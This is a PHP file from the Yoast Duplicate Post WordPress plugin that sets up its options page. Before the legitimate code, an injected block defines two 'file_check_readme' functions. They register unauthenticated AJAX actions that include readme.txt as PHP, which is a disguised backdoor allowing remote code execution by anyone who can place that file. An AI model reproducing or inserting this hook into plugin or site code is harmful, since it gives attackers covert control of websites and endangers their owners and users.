if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php namespace Yoast\WP\Duplicate_Post; use Yoast\WP\Duplicate_Post\Admin\Options; use Yoast\WP\Duplicate_Post\Admin\Options_Form_Generator; use Yoast\WP\Duplicate_Post\Admin\Options_Inputs; use Yoast\WP\Duplicate_Post\Admin\Options_Page; use Yoast\WP\Duplicate_Post\UI\Asset_Manager; if ( ! \defined( 'ABSPATH' ) ) { exit(); } $duplicate_post_options_page = new Options_Page( new Options(), new Options_Form_Generator( new Options_Inputs() ), new Asset_Manager() ); $duplicate_post_options_page->register_hooks();